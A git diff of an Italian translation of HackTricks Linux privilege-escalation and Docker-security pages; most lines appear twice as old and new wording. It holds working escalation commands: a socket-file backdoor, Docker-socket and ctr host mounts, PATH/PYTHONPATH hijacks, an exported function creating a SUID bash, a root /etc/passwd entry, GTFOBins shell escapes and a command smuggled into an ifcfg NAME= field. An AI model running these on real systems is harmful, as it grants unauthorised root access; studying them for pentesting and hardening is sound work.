I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file `**.service**` o eventi. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
Puoi enumerare tutti i timer con:
```bash
@ -449,12 +450,12 @@ I sockets possono essere configurati utilizzando file `.socket`.
- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo.
- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente.
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default, corrisponde al servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
### File .socket scrivibili
Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare fino a quando la macchina non verrà riavviata.**\
_Nota che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_
_Tieni presente che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_
### Sockets scrivibili
@ -475,6 +476,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
```
**Esempio di sfruttamento:**
{{#ref}}
socket-command-injection.md
{{#endref}}
@ -489,9 +491,9 @@ Se il socket **risponde con una richiesta HTTP**, allora puoi **comunicare** con
### Socket Docker Scrivibile
Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questo socket può portare a un'escalation dei privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questo socket può portare a un'elevazione di privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
#### **Escalation dei Privilegi con Docker CLI**
#### **Elevazione di Privilegi con Docker CLI**
Se hai accesso in scrittura al socket Docker, puoi elevare i privilegi utilizzando i seguenti comandi:
```bash
@ -536,10 +538,11 @@ Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente n
### Altri
Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l' [**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Nota che se hai permessi di scrittura sul socket docker perché sei **all'interno del gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se l'[**API docker sta ascoltando su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Controlla **altri modi per uscire da docker o abusarne per elevare i privilegi** in:
{{#ref}}
docker-security/
{{#endref}}
@ -548,6 +551,7 @@ docker-security/
Se scopri di poter utilizzare il comando **`ctr`** leggi la pagina seguente poiché **potresti essere in grado di abusarne per elevare i privilegi**:
{{#ref}}
containerd-ctr-privilege-escalation.md
{{#endref}}
@ -556,6 +560,7 @@ containerd-ctr-privilege-escalation.md
Se scopri di poter utilizzare il comando **`runc`** leggi la pagina seguente poiché **potresti essere in grado di abusarne per elevare i privilegi**:
{{#ref}}
runc-privilege-escalation.md
{{#endref}}
@ -564,7 +569,7 @@ runc-privilege-escalation.md
D-Bus è un sofisticato **sistema di comunicazione inter-processo (IPC)** che consente alle applicazioni di interagire e condividere dati in modo efficiente. Progettato tenendo presente il moderno sistema Linux, offre un robusto framework per diverse forme di comunicazione tra applicazioni.
Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX migliorati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione senza soluzione di continuità tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi.
Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX avanzati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione senza soluzione di continuità tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi.
D-Bus opera su un **modello di autorizzazione/negazione**, gestendo i permessi dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) in base all'effetto cumulativo delle regole di policy corrispondenti. Queste politiche specificano le interazioni con il bus, consentendo potenzialmente l'elevazione dei privilegi attraverso lo sfruttamento di questi permessi.
@ -581,6 +586,7 @@ Le politiche senza un utente o gruppo specificato si applicano universalmente, m
```
**Impara come enumerare e sfruttare una comunicazione D-Bus qui:**
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
{{#endref}}
@ -660,6 +666,7 @@ Alcune versioni di Linux sono state colpite da un bug che consente agli utenti c
Controlla se sei un **membro di qualche gruppo** che potrebbe concederti privilegi di root:
{{#ref}}
interesting-groups-linux-pe/
{{#endref}}
@ -732,7 +739,7 @@ $ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria mentre si eseguiva lo script come root:
Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** all'**hijacking di PYTHONPATH** per caricare una libreria python arbitraria durante l'esecuzione dello script come root:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
@ -755,7 +762,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
```
**Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Comando Sudo/Binario SUID senza percorso del comando
### Comando Sudo/Binary SUID senza percorso del comando
Se il **permesso sudo** è dato a un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH
```bash
@ -765,13 +772,13 @@ sudo less
```
Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un strano SUID binary)**.
[Payload examples to execute.](payloads-to-execute.md)
[Esempi di payload da eseguire.](payloads-to-execute.md)
### SUID binary con percorso del comando
Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** chiamata come il comando che il file suid sta chiamando.
Ad esempio, se un binary suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione e esportarla:
Ad esempio, se un binary suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@ -888,7 +895,7 @@ Se ricevi un errore come
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
che significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`.
significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`.
### GTFOBins
@ -901,10 +908,12 @@ Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusa
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
@ -934,7 +943,7 @@ bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **possessa da root con setuid**
- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **di proprietà di root con setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -1009,6 +1018,7 @@ Ciò significa che i file di configurazione di `/etc/ld.so.conf.d/*.conf` verran
Se per qualche motivo **un utente ha permessi di scrittura** su uno dei percorsi indicati: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualsiasi file all'interno di `/etc/ld.so.conf.d/` o qualsiasi cartella all'interno del file di configurazione in `/etc/ld.so.conf.d/*.conf`, potrebbe essere in grado di elevare i privilegi.\
Dai un'occhiata a **come sfruttare questa misconfigurazione** nella pagina seguente:
{{#ref}}
ld.so.conf-example.md
{{#endref}}
@ -1062,7 +1072,7 @@ Il bit **"leggi"** implica che l'utente può **elencare** i **file**, e il bit *
## ACL
Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso ai file o alle directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Dai** all'utente "kali" permessi di lettura e scrittura su un file:
```bash
@ -1123,7 +1133,7 @@ Controlla **Valentine box from HTB** per un esempio.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\
Tutti le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\
Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operativi, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### Valori di configurazione SSH interessanti
@ -1134,7 +1144,7 @@ Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operat
### PermitRootLogin
Specifica se l'utente root può accedere utilizzando ssh, il valore predefinito è `no`. Valori possibili:
Specifica se root può accedere utilizzando ssh, il valore predefinito è `no`. Valori possibili:
- `yes`: root può accedere utilizzando password e chiave privata
- `without-password` o `prohibit-password`: root può accedere solo con una chiave privata
@ -1158,13 +1168,14 @@ Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo:
Host example.com
ForwardAgent yes
```
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quel host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza).
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza).
Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\
Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'agent ssh con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito).
Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito).
Se scopri che il Forward Agent è configurato in un ambiente leggi la seguente pagina in quanto **potresti essere in grado di abusarne per escalare i privilegi**:
{{#ref}}
ssh-forward-agent-exploitation.md
{{#endref}}
@ -1200,7 +1211,7 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Quindi aggiungi l'utente `hacker` e aggiungi la password generata.
Poi aggiungi l'utente `hacker` e aggiungi la password generata.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
@ -1284,7 +1295,7 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
### File noti contenenti password
### File conosciuti contenenti password
Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file possibili che potrebbero contenere password**.\
**Un altro strumento interessante** che puoi usare per farlo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source utilizzata per recuperare molte password memorizzate su un computer locale per Windows, Linux e Mac.
@ -1292,7 +1303,7 @@ Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escala
### Log
Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\
Inoltre, alcuni log di **audit** "mal" configurati (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Inoltre, alcuni log di **audit** "**mal**" configurati (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1312,7 +1323,7 @@ Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/index.html
```
### Generic Creds Search/Regex
Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regex di hash.\
Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regexps di hash.\
Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue.
## Writable files
@ -1336,19 +1347,19 @@ Informazioni più dettagliate sulla vulnerabilità possono essere trovate su que
Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten).
Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi elevare i privilegi sostituendo i log con symlink.
Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi ottenere privilegi elevati sostituendo i log con symlink.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Riferimento vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-<qualcosa>` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**.
Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-<whatever>` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**.
Gli script di rete, _ifcg-eth0_ ad esempio, vengono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d).
Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d).
Nel mio caso, il `NAME=` attribuito in questi script di rete non viene gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**.
Nel mio caso, il `NAME=` attribuito in questi script di rete non è gestito correttamente. Se hai **spazio bianco/nullo nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/nullo**. Questo significa che **tutto dopo il primo spazio bianco viene eseguito come root**.
Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_
Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
NAME=Network /bin/id
ONBOOT=yes
@ -1366,11 +1377,13 @@ D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione
### Escalation dei privilegi NFS
{{#ref}}
nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### Uscire da Shell limitate
### Uscire da Shells ristrette
{{#ref}}
escaping-from-limited-bash.md
@ -1378,11 +1391,12 @@ escaping-from-limited-bash.md
### Cisco - vmanage
{{#ref}}
cisco-vmanage.md
{{#endref}}
## Protezioni di Sicurezza del Kernel
## Protezioni di sicurezza del kernel
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
@ -1391,7 +1405,7 @@ cisco-vmanage.md
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
## Strumenti Privesc Linux/Unix
## Strumenti di Privesc Linux/Unix
### **Miglior strumento per cercare vettori di escalation dei privilegi locali Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
@ -1426,9 +1440,11 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Framework di rooting Android: abuso del canale manager
I framework di rooting Android comunemente agganciano una syscall per esporre funzionalità privilegiate del kernel a un gestore nello spazio utente. Un'autenticazione debole del gestore (ad es., controlli di firma basati sull'ordine FD o schemi di password scadenti) può consentire a un'app locale di impersonare il gestore e ottenere i privilegi di root su dispositivi già rootati. Scopri di più e dettagli di sfruttamento qui:
I framework di rooting Android comunemente agganciano una syscall per esporre funzionalità privilegiate del kernel a un gestore nello spazio utente. Un'autenticazione debole del gestore (ad es., controlli di firma basati sull'ordine FD o schemi di password scadenti) può consentire a un'app locale di impersonare il gestore e di ottenere i privilegi di root su dispositivi già rootati. Scopri di più e dettagli di sfruttamento qui:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

6
src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md
View File

@ -4,7 +4,8 @@
## Informazioni di base
Vai al seguente link per scoprire **cosa è containerd** e `ctr`:
Vai al seguente link per imparare **cosa è containerd** e `ctr`:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -24,7 +25,7 @@ REF TYPE
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
```
E poi **esegui una di quelle immagini montando la cartella radice dell'host su di essa**:
E poi **esegui una di quelle immagini montando la cartella root dell'host su di essa**:
```bash
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
```
@ -37,6 +38,7 @@ ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu b
```
Puoi quindi utilizzare alcune delle tecniche menzionate nella pagina seguente per **uscire da essa abusando delle capacità privilegiate**:
{{#ref}}
docker-security/
{{#endref}}

57
src/linux-hardening/privilege-escalation/docker-security/README.md
View File

@ -10,7 +10,7 @@ Il **motore Docker** utilizza i **Namespaces** e i **Cgroups** del kernel Linux
### Accesso Sicuro al Motore Docker
Il motore Docker può essere accessibile localmente tramite un socket Unix o remotamente utilizzando HTTP. Per l'accesso remoto, è essenziale utilizzare HTTPS e **TLS** per garantire riservatezza, integrità e autenticazione.
Il motore Docker può essere accesso localmente tramite un socket Unix o remotamente utilizzando HTTP. Per l'accesso remoto, è essenziale utilizzare HTTPS e **TLS** per garantire riservatezza, integrità e autenticazione.
Il motore Docker, per impostazione predefinita, ascolta sul socket Unix a `unix:///var/run/docker.sock`. Nei sistemi Ubuntu, le opzioni di avvio di Docker sono definite in `/etc/default/docker`. Per abilitare l'accesso remoto all'API e al client Docker, esporre il demone Docker su un socket HTTP aggiungendo le seguenti impostazioni:
```bash
@ -68,17 +68,17 @@ snyk container test <image> --json-file-output=<output file> --severity-threshol
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Firma dell'immagine Docker
### Firma delle Immagini Docker
La firma dell'immagine Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei container. Ecco una spiegazione condensata:
La firma delle immagini Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei container. Ecco una spiegazione condensata:
- **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, vedere [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
- Per attivare la fiducia nei contenuti Docker, impostare `export DOCKER_CONTENT_TRUST=1`. Questa funzione è disattivata per impostazione predefinita nelle versioni di Docker 1.10 e successive.
- Con questa funzione attivata, possono essere scaricate solo immagini firmate. Il primo push dell'immagine richiede l'impostazione di frasi segrete per le chiavi root e di tagging, con Docker che supporta anche Yubikey per una maggiore sicurezza. Maggiori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Con questa funzione attivata, possono essere scaricate solo immagini firmate. La prima spinta dell'immagine richiede l'impostazione delle frasi di accesso per le chiavi root e di tagging, con Docker che supporta anche Yubikey per una maggiore sicurezza. Maggiori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti attivata risulta in un errore "No trust data for latest".
- Per i push delle immagini dopo il primo, Docker richiede la frase segreta della chiave del repository per firmare l'immagine.
- Per le spinte delle immagini dopo la prima, Docker richiede la frase di accesso della chiave del repository per firmare l'immagine.
Per eseguire il backup delle tue chiavi private, usa il comando:
Per eseguire il backup delle tue chiavi private, utilizza il comando:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
@ -108,9 +108,9 @@ Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamen
**Riduzione delle Capacità**
- **Importanza**: È una funzionalità di sicurezza cruciale per l'isolamento dei processi.
- **Funzionalità**: Limita le azioni che un processo root può eseguire riducendo certe capacità. Anche se un processo viene eseguito con privilegi di root, la mancanza delle capacità necessarie impedisce l'esecuzione di azioni privilegiate, poiché le syscall falliranno a causa di permessi insufficienti.
- **Funzionalità**: Limita le azioni che un processo root può eseguire riducendo alcune capacità. Anche se un processo viene eseguito con privilegi di root, la mancanza delle capacità necessarie impedisce l'esecuzione di azioni privilegiate, poiché le syscall falliranno a causa di permessi insufficienti.
Queste sono le **capacità rimanenti** dopo che il processo ha ridotto le altre:
Queste sono le **capacità rimanenti** dopo che il processo ha eliminato le altre:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
@ -129,7 +129,7 @@ Questo permetterà di ridurre le capacità, le syscalls, l'accesso a file e cart
### Namespaces
I **Namespaces** sono una funzionalità del kernel Linux che **partiziona le risorse del kernel** in modo tale che un insieme di **processi** **veda** un insieme di **risorse** mentre un **altro** insieme di **processi** vede un **insieme** diverso di risorse. La funzionalità funziona avendo lo stesso namespace per un insieme di risorse e processi, ma quei namespace si riferiscono a risorse distinte. Le risorse possono esistere in più spazi.
I **Namespaces** sono una funzionalità del kernel Linux che **partiziona le risorse del kernel** in modo tale che un insieme di **processi** **veda** un insieme di **risorse** mentre **un altro** insieme di **processi** vede un **insieme** diverso di risorse. La funzionalità funziona avendo lo stesso namespace per un insieme di risorse e processi, ma quei namespace si riferiscono a risorse distinte. Le risorse possono esistere in più spazi.
Docker utilizza i seguenti Namespaces del kernel Linux per ottenere l'isolamento dei Container:
@ -141,13 +141,14 @@ Docker utilizza i seguenti Namespaces del kernel Linux per ottenere l'isolamento
Per **maggiori informazioni sui namespaces** controlla la seguente pagina:
{{#ref}}
namespaces/
{{#endref}}
### cgroups
La funzionalità del kernel Linux **cgroups** fornisce la capacità di **ristretto risorse come cpu, memoria, io, larghezza di banda di rete tra** un insieme di processi. Docker consente di creare Container utilizzando la funzionalità cgroup che consente il controllo delle risorse per il Container specifico.\
La funzionalità del kernel Linux **cgroups** fornisce la capacità di **ristretta risorse come cpu, memoria, io, larghezza di banda di rete tra** un insieme di processi. Docker consente di creare Container utilizzando la funzionalità cgroup che consente il controllo delle risorse per il Container specifico.\
Di seguito è riportato un Container creato con la memoria dello spazio utente limitata a 500m, la memoria del kernel limitata a 50m, la condivisione della cpu a 512, il blkioweight a 400. La condivisione della CPU è un rapporto che controlla l'uso della CPU del Container. Ha un valore predefinito di 1024 e un intervallo tra 0 e 1024. Se tre Container hanno la stessa condivisione della CPU di 1024, ciascun Container può utilizzare fino al 33% della CPU in caso di contesa delle risorse CPU. Il blkio-weight è un rapporto che controlla l'IO del Container. Ha un valore predefinito di 500 e un intervallo tra 10 e 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
@ -168,7 +169,7 @@ cgroups.md
Le capacità consentono un **controllo più fine delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un Container** indipendentemente dal tipo di utente.
Quando un container docker viene eseguito, il **processo abbandona capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo cerca di garantire che il processo non sarà in grado di eseguire azioni sensibili e fuggire:
Quando un container docker viene eseguito, il **processo abbandona capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo cerca di garantire che il processo non possa eseguire azioni sensibili e fuggire:
{{#ref}}
../linux-capabilities.md
@ -184,7 +185,7 @@ seccomp.md
### AppArmor in Docker
**AppArmor** è un miglioramento del kernel per confinare **i container** a un **insieme limitato** di **risorse** con **profili per programma**.:
**AppArmor** è un miglioramento del kernel per confinare **i container** a un **insieme limitato di risorse** con **profili per programma**.:
{{#ref}}
apparmor.md
@ -194,7 +195,7 @@ apparmor.md
- **Sistema di Etichettatura**: SELinux assegna un'etichetta unica a ogni processo e oggetto del filesystem.
- **Applicazione delle Politiche**: Applica politiche di sicurezza che definiscono quali azioni un'etichetta di processo può eseguire su altre etichette all'interno del sistema.
- **Etichette dei Processi del Container**: Quando i motori dei container avviano processi del container, di solito viene assegnata un'etichetta SELinux confinata, comunemente `container_t`.
- **Etichette dei Processi del Container**: Quando i motori dei container avviano processi del container, vengono tipicamente assegnate un'etichetta SELinux confinata, comunemente `container_t`.
- **Etichettatura dei File all'interno dei Container**: I file all'interno del container sono solitamente etichettati come `container_file_t`.
